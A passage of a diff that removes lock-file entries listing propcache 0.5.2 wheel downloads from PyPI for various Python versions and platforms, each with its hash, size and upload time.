-    { url = "https://files.pythonhosted.org/packages/95/7d/466b3d18022e9897cbda9c735c493c5bd747d7a4c6f5ea1480b4cec434b6/propcache-0.5.2-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29f9309a2e42b0d273be006fdb4be2d6c39a47f6f57d8fb1cf9f81481df81b66", size = 61563, upload-time = "2026-05-08T20:59:53.866Z" },
-    { url = "https://files.pythonhosted.org/packages/27/1b/16ab7f2cf2041da2f60d156ba64c2484eadf9168075b4ff43c3ef60045af/propcache-0.5.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5aaa2b923c1944ac8febd6609cb373540a5563e7cbcb0fd770f75dace2eb817b", size = 58888, upload-time = "2026-05-08T20:59:55.457Z" },
-    { url = "https://files.pythonhosted.org/packages/0a/67/bb777ffd907633563bf35fd859c4ce97b0512c32f4633cf5d1eb7c33512b/propcache-0.5.2-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:66ea454f095ddf5b6b14f56c064c0941c4788be11e18d2464cf643bf7203ff67", size = 59253, upload-time = "2026-05-08T20:59:57.075Z" },
-    { url = "https://files.pythonhosted.org/packages/b9/42/64f8d90b73fd9cdc1499b48057ff6d9cd2a98a25734c9bb62ecf07e87061/propcache-0.5.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:95f1e3f4760d404b13c9976c0229b2b49a3c8e2c62a9ce92efdd2b11ada75e3f", size = 57558, upload-time = "2026-05-08T20:59:58.602Z" },
-    { url = "https://files.pythonhosted.org/packages/eb/02/dba5bc03c9041f2092ea55a449caf5dfe68352c6654511b29ba0654ddb69/propcache-0.5.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:85341b12b9d55bad0bded24cac341bb34289469e03a11f3f583ea1cc1db0326c", size = 55007, upload-time = "2026-05-08T20:59:59.837Z" },
-    { url = "https://files.pythonhosted.org/packages/14/c0/43f649c7aa2a77a3b100d84e9dea3a483120ecb608bfe36ce49eaff517fe/propcache-0.5.2-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:26a4dca084132874e639895c3135dfad5eb20bae209f62d1aeb31b03e601c3c0", size = 60355, upload-time = "2026-05-08T21:00:01.144Z" },
-    { url = "https://files.pythonhosted.org/packages/83/c0/435dafd27f1cb4a495381dae60e25883ccfe4020bb72818e8184c1678092/propcache-0.5.2-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:3b199b9b2b3d6a7edf3183ba8a9a137a22b97f7df525feb5ae1eccf026d2a9c6", size = 59057, upload-time = "2026-05-08T21:00:02.401Z" },
-    { url = "https://files.pythonhosted.org/packages/53/ae/6e292df9135d659944e96cb3389258e4a663e5b2b5f6c217ef0ddc8d2f73/propcache-0.5.2-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:e59bc9e66329185b93dab73f210f1a37f81cb40f321501db8017c9aea15dba27", size = 61938, upload-time = "2026-05-08T21:00:03.638Z" },
-    { url = "https://files.pythonhosted.org/packages/0b/42/314ebc50d8159055411fd6b0bda322ff510e4b1f7d2e4927940ad0f6af20/propcache-0.5.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:552ffadf6ad409844bc5919c42a0a83d88314cedddaea0e41e80a8b8fffe881f", size = 59731, upload-time = "2026-05-08T21:00:04.881Z" },
-    { url = "https://files.pythonhosted.org/packages/b8/9b/2da6dee38871c3c8772fabc2758325a5c9077d6d18c597737dc04dd884cd/propcache-0.5.2-cp311-cp311-win32.whl", hash = "sha256:cd416c1de191973c52ff1a12a57446bfc7642797b282d7caf2162d7d1b8aa9a0", size = 38966, upload-time = "2026-05-08T21:00:06.511Z" },
-    { url = "https://files.pythonhosted.org/packages/42/4e/f17363fb58c0afe05b067361cb6d86ed2d29de6506779a27547c4d183075/propcache-0.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:44e488ef40dbb452700b2b1f8188934121f6648f52c295055662d2191959ff82", size = 42135, upload-time = "2026-05-08T21:00:08.088Z" },
-    { url = "https://files.pythonhosted.org/packages/c6/eb/6af6685077d22e8b33358d3c548e3282706a0b3cd85044ffba4e5dd08e3b/propcache-0.5.2-cp311-cp311-win_arm64.whl", hash = "sha256:54adaa85a22078d1e306304a40984dc5be99d599bf3dc0a24dc98f7daeab89ab", size = 38381, upload-time = "2026-05-08T21:00:09.692Z" },
-    { url = "https://files.pythonhosted.org/packages/4a/cb/e27bc2b2737a0bb49962b275efa051e8f1c35a936df7d5139b6b658b7dc9/propcache-0.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:806719138ecd720339a12410fb9614ac9b2b2d3a5fdf8235d56981c36f4039ba", size = 95887, upload-time = "2026-05-08T21:00:11.277Z" },
-    { url = "https://files.pythonhosted.org/packages/e6/13/b8ae04c59392f8d11c6cd9fb4011d1dc7c86b81225c770280300e259ffe1/propcache-0.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:db2b80ea58eab4f86b2beec3cc8b39e8ff9276ac20e96b7cce43c8ae84cd6b5a", size = 54654, upload-time = "2026-05-08T21:00:12.604Z" },
-    { url = "https://files.pythonhosted.org/packages/2c/7d/49777a3e20b55863d4794384a38acd460c04157b0a00f8602b0d508b8431/propcache-0.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e5cbfac9f61484f7e9f3597775500cd3ebe8274e9b050c38f9525c77c97520bf", size = 55190, upload-time = "2026-05-08T21:00:13.935Z" },
-    { url = "https://files.pythonhosted.org/packages/44/c7/085d0cd63062e84044e3f05797749c3f8e3938ff3aeb0eb2f69d43fafc91/propcache-0.5.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5dbc581d2814337da56222fab8dc5f161cd798a434e49bac27930aaef798e144", size = 59995, upload-time = "2026-05-08T21:00:15.526Z" },
-    { url = "https://files.pythonhosted.org/packages/9c/42/32cf8e3009e92b2645cf1e944f701e8ea4e924dffde1ee26db860bcbf7e4/propcache-0.5.2-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:857187f381f88c8e2fa2fe56ab94879d011b883d5a2ee5a1b60a8cd2a06846d9", size = 63422, upload-time = "2026-05-08T21:00:16.824Z" },
-    { url = "https://files.pythonhosted.org/packages/9e/1b/f112433f99fc979431b87a39ef169e3f8df070d99a72792c56d6937ac48b/propcache-0.5.2-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:178b4a2cdaac1818e2bf1c5a99b94383fa73ea5382e032a48dec07dc5668dc42", size = 64342, upload-time = "2026-05-08T21:00:18.362Z" },
-    { url = "https://files.pythonhosted.org/packages/14/15/5574111ae50dd6e879456888c0eadd4c5a869959775854e18e18a6b345f3/propcache-0.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f328175a2cde1f0ff2c4ed8ce968b9dcfb55f3a7153f39e2957ed994da13476", size = 61639, upload-time = "2026-05-08T21:00:19.692Z" },
-    { url = "https://files.pythonhosted.org/packages/cc/da/4d775080b1490c0ae604acda868bd71aabe3a89ed16f2aa4339eb8a283e7/propcache-0.5.2-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:5671d09a36b06d0fd4a3da0fccbcae360e9b1570924171a15e9e0997f0249fba", size = 61588, upload-time = "2026-05-08T21:00:21.155Z" },
-    { url = "https://files.pythonhosted.org/packages/04/ac/f076982cbe2195ee9cf32de5a1e46951d9fb399fc207f390562dd0fd8fb2/propcache-0.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:80168e2ebe4d3ec6599d10ad8f520304ae1cad9b6c5a95372aef1b66b7bfb53a", size = 60029, upload-time = "2026-05-08T21:00:22.713Z" },
-    { url = "https://files.pythonhosted.org/packages/70/60/189be62e0dd898dce3b331e1b8c7a543cd3a405ac0c81fe8ee8a9d5d77e1/propcache-0.5.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:45f11346f884bc47444f6e6647131055844134c3175b629f84952e2b5cd62b64", size = 56774, upload-time = "2026-05-08T21:00:24.001Z" },
-    { url = "https://files.pythonhosted.org/packages/ea/9e/93377b9c7939c1ffae98f878dee955efadfd638078bc86dbc21f9d52f651/propcache-0.5.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8e778ebd44ef4f66ed60a0416b06b489687db264a9c0b3620362f26489492913", size = 63532, upload-time = "2026-05-08T21:00:25.545Z" },
-    { url = "https://files.pythonhosted.org/packages/14/f9/590ef6cfb9b8028d516d287812ece32bb0bc5f11fbb9c8bf6b2e6313fec8/propcache-0.5.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:c0cb9ed24c8964e172768d455a38254c2dd8a552905729ce006cad3d3dda59b1", size = 61592, upload-time = "2026-05-08T21:00:27.186Z" },
-    { url = "https://files.pythonhosted.org/packages/b4/5e/70958b3034c297a630bba2f17ca7abc2d5f39a803ad7e370ab79d1ecd022/propcache-0.5.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:1d1ad32d9d4355e2be65574fd0bfd3677e7066b009cd5b9b2dee8aa6a6393b33", size = 64788, upload-time = "2026-05-08T21:00:28.8Z" },
-    { url = "https://files.pythonhosted.org/packages/12/fd/77fe5936d8c3086ca9048f7f415f122ed82e53884a9ec193646b42deef06/propcache-0.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c80f4ba3e8f00189165999a742ee526ebeccedf6c3f7beb0c7df821e9772435a", size = 62514, upload-time = "2026-05-08T21:00:30.098Z" },
-    { url = "https://files.pythonhosted.org/packages/cf/74/66bd798b5b3be70aa1b391f5cc9d6a0a5532d7fd3b19ec0b213e72e6ad9d/propcache-0.5.2-cp312-cp312-win32.whl", hash = "sha256:8c7972d8f193740d9175f0998ab38717e6cd322d5935c5b0fef8c0d323fd9031", size = 39018, upload-time = "2026-05-08T21:00:31.622Z" },
-    { url = "https://files.pythonhosted.org/packages/61/7c/5c0d34aa3024694d6dcb9271cdbdd08c4e47c1c0ad95ec7e7bc74cdea145/propcache-0.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:d9ee8826a7d47863a08ac44e1a5f611a462eefc3a194b492da242128bec75b42", size = 42322, upload-time = "2026-05-08T21:00:32.918Z" },
-    { url = "https://files.pythonhosted.org/packages/4d/91/875812f1a3feb20ceba818ef39fbe4d92f1081e04ac815c822496d0d038b/propcache-0.5.2-cp312-cp312-win_arm64.whl", hash = "sha256:2800a4a8ead6b28cccd1ec54b59346f0def7922ee1c7598e8499c733cfbb7c84", size = 38172, upload-time = "2026-05-08T21:00:35.124Z" },
-    { url = "https://files.pythonhosted.org/packages/c5/09/f049e45385503fe67db75a6b6186a7b9f0c3930366dc960522c312a825b1/propcache-0.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:099aaf4b4d1a02265b92a977edf00b5c4f63b3b17ac6de39b0d637c9cac0188a", size = 94457, upload-time = "2026-05-08T21:00:36.355Z" },
-    { url = "https://files.pythonhosted.org/packages/6b/65/83d1d05655baf63113731bd5a1008435e14f8d1e5a06cbe4ec5b23ad7a31/propcache-0.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:68ce1c44c7a813a7f71ea04315a8c7b330b63db99d059a797a4651bb6f69f117", size = 53835, upload-time = "2026-05-08T21:00:38.072Z" },
-    { url = "https://files.pythonhosted.org/packages/a9/12/a6ba6482bb5ea3260c000c9b20881c95fa11c6b30173715668259f844ed7/propcache-0.5.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:fc299c129490f55f254cd90be0deca4764e36e9a7c08b4aa588479a3bbed3098", size = 54545, upload-time = "2026-05-08T21:00:39.319Z" },
-    { url = "https://files.pythonhosted.org/packages/a9/19/7fa086f5764c59ec8a8e157cd93aa8497acc00aba9dcdec56bfffb32602d/propcache-0.5.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a6ae2198be502c10f09b2516e7b5d019816924bc3183a43ce792a7bd6625e6f4", size = 59886, upload-time = "2026-05-08T21:00:40.621Z" },
-    { url = "https://files.pythonhosted.org/packages/a1/e4/5d7663dc8235956c8f5281698a3af1d351d8820341ddd890f59d9a9127f2/propcache-0.5.2-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6041d31504dc1779d700e1edcfb08eea334b357620b06681a4eabb57a74e574e", size = 63261, upload-time = "2026-05-08T21:00:41.775Z" },
-    { url = "https://files.pythonhosted.org/packages/4a/4a/15a03adee24d6350da4292caeac44c34c033d2afe5e87eb370f38854560f/propcache-0.5.2-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7eabc04151c78a9f4d5bbb5f1faf571e4defeb4b585e0fe95b60ff2dbe4d3d7", size = 64184, upload-time = "2026-05-08T21:00:43.018Z" },
-    { url = "https://files.pythonhosted.org/packages/8b/c6/979176efdaa3d239e36d503d5af63a0a773b36662ed8f52e5b6a6d9fd40e/propcache-0.5.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4db0ba63d693afd40d249bd93f842b5f144f8fcbb83de05660373bcf30517b1d", size = 61534, upload-time = "2026-05-08T21:00:44.507Z" },
-    { url = "https://files.pythonhosted.org/packages/c8/22/63e8cd1bae4c2d2be6493b6b7d10566ddafad88137cfbc99964a1119853c/propcache-0.5.2-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1dbcf7675229b35d31abb6547d8ebc8c27a830ac3f9a794edff6254873ec7c0a", size = 61500, upload-time = "2026-05-08T21:00:45.796Z" },
-    { url = "https://files.pythonhosted.org/packages/60/5a/28e5d9acbac1cc9ccb67045e8c1b943aa8d79fdf39c93bd73cacd68008ea/propcache-0.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d310c013aad2c72f1c3f2f8dd3279d460a858c551f97aeb8c63e4693cca7b4d2", size = 59994, upload-time = "2026-05-08T21:00:47.093Z" },
-    { url = "https://files.pythonhosted.org/packages/f3/40/db650677f554a95b9c01a7c9d93d629e93a15562f5deb4573c9ee136fed2/propcache-0.5.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:06187263ddad280d05b4d8a8b3bb7d164cbebd469236544a42e6d9b28ac6a4fa", size = 56884, upload-time = "2026-05-08T21:00:48.376Z" },
-    { url = "https://files.pythonhosted.org/packages/80/45/70b39b89516ff8b96bf732fa6fded8cef20f293cb1508690101c3c07ec51/propcache-0.5.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:3115559b8effafd63b142ea5ed53d63a16ea6469cbc63dce4ee194b42db5d853", size = 63464, upload-time = "2026-05-08T21:00:49.954Z" },
-    { url = "https://files.pythonhosted.org/packages/f9/e2/fa59d3a89eac5534293124af4f1d0d0ada091ce4a0ab4610ce03fd2bdd8d/propcache-0.5.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c60462af8e6dc30c35407c7237ea908d777b22862bbee27bc4699c0d8bcdc45a", size = 61588, upload-time = "2026-05-08T21:00:51.281Z" },
-    { url = "https://files.pythonhosted.org/packages/0b/97/efb547a55c4bc7381cfb202d6a2239ac621045277bc1ea5dfd3a7f0516c0/propcache-0.5.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40314bca9ac559716fe374094fc81c11dcc34b64fd6c585360f5775690505704", size = 64667, upload-time = "2026-05-08T21:00:52.602Z" },
-    { url = "https://files.pythonhosted.org/packages/92/56/f5c7d9b4b7595d5127da38974d791b2153f3d1eae6c674af3583ace92ad3/propcache-0.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cfa21e036ce1e1db2be04ba3b85d2df1bb1702fa01932d984c5464c665228ff4", size = 62463, upload-time = "2026-05-08T21:00:54.303Z" },
-    { url = "https://files.pythonhosted.org/packages/bd/3b/484a3a65fc9f9f60c41dcd17b428bace5389544e2c680994534a20755066/propcache-0.5.2-cp313-cp313-win32.whl", hash = "sha256:f156a3529f38063b6dbaf356e15602a7f95f8055b1295a438433a6386f10463d", size = 38621, upload-time = "2026-05-08T21:00:55.808Z" },
-    { url = "https://files.pythonhosted.org/packages/1c/fd/3f0f10dba4dabad3bf53102be007abf55481067952bde0fdddff439e7c61/propcache-0.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:dfed59d0a5aeb01e242e66ff0300bc4a265a7c05f612d30016f0b60b1017d757", size = 41649, upload-time = "2026-05-08T21:00:57.061Z" },
-    { url = "https://files.pythonhosted.org/packages/90/ec/6ce619cc32bb500a482f811f9cd509368b4e58e638d13f2c68f370d6b475/propcache-0.5.2-cp313-cp313-win_arm64.whl", hash = "sha256:ba338430e87ceb9c8f0cf754de38a9860560261e56c00376debd628698a7364f", size = 37636, upload-time = "2026-05-08T21:00:58.646Z" },
-    { url = "https://files.pythonhosted.org/packages/1b/82/c1d268bbbf2ef981c5bf0fbbe746db617c66e3bcefe431a1aa8943fbe23a/propcache-0.5.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:a592f5f3da71c8691c788c13cb6734b6d17663d2e1cb8caddf0673d01ef8847d", size = 98872, upload-time = "2026-05-08T21:00:59.889Z" },
-    { url = "https://files.pythonhosted.org/packages/f4/d4/52c871e73e864e6b34c0e2d58ac1ec5ccd149497ddc7ad2137ae98323a35/propcache-0.5.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6a997d0489e9668a384fcfd5061b857aa5361de73191cac204d04b889cfbbafa", size = 56257, upload-time = "2026-05-08T21:01:01.195Z" },
-    { url = "https://files.pythonhosted.org/packages/67/f0/9b90ca2a210b3d09bcfcd96ecd0f55545c091535abce2a45de2775cfd357/propcache-0.5.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:10734b5484ea113152ee25a91dccedf81631791805d2c9ccb054958e51842c94", size = 56696, upload-time = "2026-05-08T21:01:02.941Z" },
-    { url = "https://files.pythonhosted.org/packages/9d/0e/6e9d4ba07c8e56e21ddec1e75f12148142b21ca83a51871babce095334f4/propcache-0.5.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cafca7e56c12bb02ae16d283742bef25a61122e9dab2b5b3f2ccbe589ce32164", size = 62378, upload-time = "2026-05-08T21:01:04.475Z" },
-    { url = "https://files.pythonhosted.org/packages/65/19/c10badaa463dde8a27ce884f8ee2ec37e6035b7c9f5ff0c8f74f06f08dac/propcache-0.5.2-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f064f8d2b59177878b7615df1735cd8fe3462ed6be8c7b217d17a276489c2b7f", size = 65283, upload-time = "2026-05-08T21:01:05.959Z" },
-    { url = "https://files.pythonhosted.org/packages/b0/b6/93bea99ca80e19cef6512a8580e5b7857bbe09422d9daa7fd4ef5723306c/propcache-0.5.2-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f78abfa8dfc32376fd1aacf597b2f2fbbe0ea751419aee718af5d4f82537ef8c", size = 66616, upload-time = "2026-05-08T21:01:07.228Z" },
-    { url = "https://files.pythonhosted.org/packages/83/e4/5c7462e50625f051f37fb38b8224f7639f667184bbd34424ec83819bb1b7/propcache-0.5.2-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f7467da8a9822bf1a55336f877340c5bcbd3c482afc43a99771169f74a26dedc", size = 63773, upload-time = "2026-05-08T21:01:08.514Z" },
-    { url = "https://files.pythonhosted.org/packages/ca/b6/99238894047b13c823be25027e736626cd414a52a5e30d2c3347c2733529/propcache-0.5.2-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a6ddc6ac9e25de626c1f129c1b467d7ecd33ce2237d3fd0c4e429feef0a7ee1f", size = 63664, upload-time = "2026-05-08T21:01:09.874Z" },
-    { url = "https://files.pythonhosted.org/packages/85/1e/a3a1a63116a2b8edb415a8bb9a6f0c34bd03830b1e18e8ce2904e1dc1cf4/propcache-0.5.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:2f22cbbac9e26a8e864c0985ff1268d5d939d53d9d9411a9824279097e03a2cb", size = 62643, upload-time = "2026-05-08T21:01:11.132Z" },
-    { url = "https://files.pythonhosted.org/packages/e4/03/893cf147de2fc6543c5eaa07ad833170e7e2a2385725bbebe8c0503723bb/propcache-0.5.2-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:fc76378c62a0f04d0cd82fbb1a2cd2d7e28fcb40d5873f28a6c44e388aaa2751", size = 59595, upload-time = "2026-05-08T21:01:12.387Z" },
-    { url = "https://files.pythonhosted.org/packages/86/3b/04c1a2e12c57766568ba75ba72b3bf2042818d4c1425fab6fc07155c7cff/propcache-0.5.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:acd2c8edba48e31e58a363b8cf4e5c7db3b04b3f9e371f601df30d9b0d244836", size = 65711, upload-time = "2026-05-08T21:01:13.676Z" },
-    { url = "https://files.pythonhosted.org/packages/1c/34/80f8d0099f8d6bacc4de1624c85672681c8cd1149ca2da0e38fd120b817f/propcache-0.5.2-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:452b5065457eb9991ec5eb38ff41d6cd4c991c9ac7c531c4d5849ae473a9a13f", size = 64247, upload-time = "2026-05-08T21:01:14.936Z" },
-    { url = "https://files.pythonhosted.org/packages/f3/1a/8b08f3a5f1037e9e370c55883ceeeee0f6dd0416fb2d2d67b8bfc91f2a79/propcache-0.5.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:3430bb2bfe1331885c427745a751e774ee679fd4344f80b97bf879815fe8fa55", size = 67102, upload-time = "2026-05-08T21:01:16.281Z" },
-    { url = "https://files.pythonhosted.org/packages/34/68/8bdb7bb7756d76e005490649d10e4a8369e610c74d619f71e1aedf889e9c/propcache-0.5.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:cef6cea3922890dd6c9654971001fa797b526c16ab5e1e46c05fd6f877be7568", size = 64964, upload-time = "2026-05-08T21:01:17.57Z" },
-    { url = "https://files.pythonhosted.org/packages/0a/aa/50fb0b5d3968b61a510926ff8b8465f1d6e976b3ab74496d7a4b9fc42515/propcache-0.5.2-cp313-cp313t-win32.whl", hash = "sha256:72d61e16dd78228b58c5d47be830ff3da7e5f139abdf0aef9d86cde1c5cf2191", size = 42546, upload-time = "2026-05-08T21:01:18.946Z" },
-    { url = "https://files.pythonhosted.org/packages/ae/4c/0ddbae64321bd4a95bcbfc19307238016b5b1fee645c84626c8d539e5b74/propcache-0.5.2-cp313-cp313t-win_amd64.whl", hash = "sha256:0958834041a0166d343b8d2cedcd8bcbaeb4fdbe0cf08320c5379f143c3be6e7", size = 46330, upload-time = "2026-05-08T21:01:20.162Z" },
-    { url = "https://files.pythonhosted.org/packages/00/d9/9cddc8efb78d8af264c5ec9f6d10b62f57c515feda8d321595f56010fb23/propcache-0.5.2-cp313-cp313t-win_arm64.whl", hash = "sha256:6de8bd93ddde9b992cf2b2e0d796d501a19026b5b9fd87356d7d0779531a8d96", size = 40521, upload-time = "2026-05-08T21:01:21.399Z" },
-    { url = "https://files.pythonhosted.org/packages/e2/ea/23ee535d90ce8bcc465a3028eb3cc0ce3bd1005f4bb27710b30587de798d/propcache-0.5.2-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:46088abff4cba581dea21ae0467a480526cb25aa5f3c269e909f800328bc3999", size = 94662, upload-time = "2026-05-08T21:01:22.683Z" },
-    { url = "https://files.pythonhosted.org/packages/b5/06/c5a52f419b5d8972f8d46a7577476090d8e3263ff589ce40b5ca4968d5be/propcache-0.5.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fc88b26f08d634f7bc819a7852e5214f5802641ab8d9fd5326892292eee1993e", size = 53928, upload-time = "2026-05-08T21:01:23.986Z" },
-    { url = "https://files.pythonhosted.org/packages/63/b1/4260d67d6bd85e58a66b72d54ce15d5de789b6f3870cc6bedf8ff9667401/propcache-0.5.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:97797ebb098e670a2f92dd66f32897e30d7615b14e7f59711de23e30a9072539", size = 54650, upload-time = "2026-05-08T21:01:25.305Z" },
-    { url = "https://files.pythonhosted.org/packages/70/06/2f46c318e3307cd7a6a7481def374ce838c0fe20084b39dd54b0879d0e99/propcache-0.5.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ba57fffe4ac99c5d30076161b5866336d97600769bad35cc68f7774b15298a4e", size = 59912, upload-time = "2026-05-08T21:01:26.545Z" },
-    { url = "https://files.pythonhosted.org/packages/4c/29/fe1aebec2ce57ab985a9c382bded1124431f85078113aa222c5d278430d4/propcache-0.5.2-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:583c19759d9eec1e5b69e2fbef36a7d9c326041be9746cb822d335c8cedc2979", size = 63300, upload-time = "2026-05-08T21:01:27.937Z" },
-    { url = "https://files.pythonhosted.org/packages/b4/18/2334b26768b6c82be8c69e83671b767d5ef426aa09b0cba6c2ea47816774/propcache-0.5.2-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d0326e2e5e1f3163fa306c834e48e8d490e5fae607a097a40c0648109b47ba80", size = 64208, upload-time = "2026-05-08T21:01:29.484Z" },
-    { url = "https://files.pythonhosted.org/packages/2b/76/7f1bfd6afff4c5e38e36a3c6d68eb5f4b7311ea80baf693db78d95b603c4/propcache-0.5.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e00820e192c8dbebcafb383ebbf99030895f09905e7a0eb2e0340a0bcc2bc825", size = 61633, upload-time = "2026-05-08T21:01:31.068Z" },
-    { url = "https://files.pythonhosted.org/packages/c4/46/b3ff8aba2b4953a3e50de2cf72f1b5748b8eca93b15f3dc2c84339084c09/propcache-0.5.2-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c66afea89b1e43725731d2004732a046fe6fe955d51f952c3e95a7314a284a39", size = 61724, upload-time = "2026-05-08T21:01:32.374Z" },
-    { url = "https://files.pythonhosted.org/packages/c5/01/814cfcafbcff954f94c01cf30e097ddc88a076b5440fbcf4570753437d40/propcache-0.5.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d4dc37dec6c6cdad0b57881a5658fd14fbf53e333b1a86cf86559f190e1d9ec4", size = 60069, upload-time = "2026-05-08T21:01:33.67Z" },
-    { url = "https://files.pythonhosted.org/packages/da/68/5c6f7622d510cc666a300687e06fd060c1a43361c0c9b20d284f06d8096a/propcache-0.5.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5570dbcc97571c15f68068e529c92715a12f8d54030e272d264b377e22bd17a5", size = 57099, upload-time = "2026-05-08T21:01:34.915Z" },
-    { url = "https://files.pythonhosted.org/packages/55/27/9cb0b4c679124085327957d42521c99dba04c88c90c3e55a6f0b633ebccc/propcache-0.5.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f814362777a9f841adddb200ecdf8f5cb1e5a3c4b7a86378edbd6ccb26edd702", size = 63391, upload-time = "2026-05-08T21:01:36.231Z" },
-    { url = "https://files.pythonhosted.org/packages/f0/9d/7258aaa5bdf60fc6f27591eef6fe52768cb0beda7140be477c8b12c9794a/propcache-0.5.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:196913dea116aeb5a2ba95af4ddcb7ea85559ae07d8eee8751688310d09168c3", size = 61626, upload-time = "2026-05-08T21:01:37.545Z" },
-    { url = "https://files.pythonhosted.org/packages/8e/0d/41c602003e8a9b16fe1e7eadf62c7bfba9d5474370b24200bf48b315f45f/propcache-0.5.2-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:6e7b8719005dd1175be4ab1cd25e9b98659a5e0347331506ec6760d2773a7fb5", size = 64781, upload-time = "2026-05-08T21:01:38.83Z" },
-    { url = "https://files.pythonhosted.org/packages/8b/f3/38e66b1856e9bd079deea015bc4a55f7767c0e4db2f7dcf69e7e680ba4ce/propcache-0.5.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:51f96d685ab16e88cab128cd37a52c5da540809c8b879fa047731bfcb4ad35a4", size = 62570, upload-time = "2026-05-08T21:01:40.415Z" },
-    { url = "https://files.pythonhosted.org/packages/95/ca/bbfe9b910ce57dde8bb4876b4520fc02a4e89497c10de26be936758a3aaa/propcache-0.5.2-cp314-cp314-win32.whl", hash = "sha256:cc6fc3cc62e8501d3ed62894425040d2728ecddb1ed072737a5c70bd537aa9f0", size = 39436, upload-time = "2026-05-08T21:01:41.654Z" },
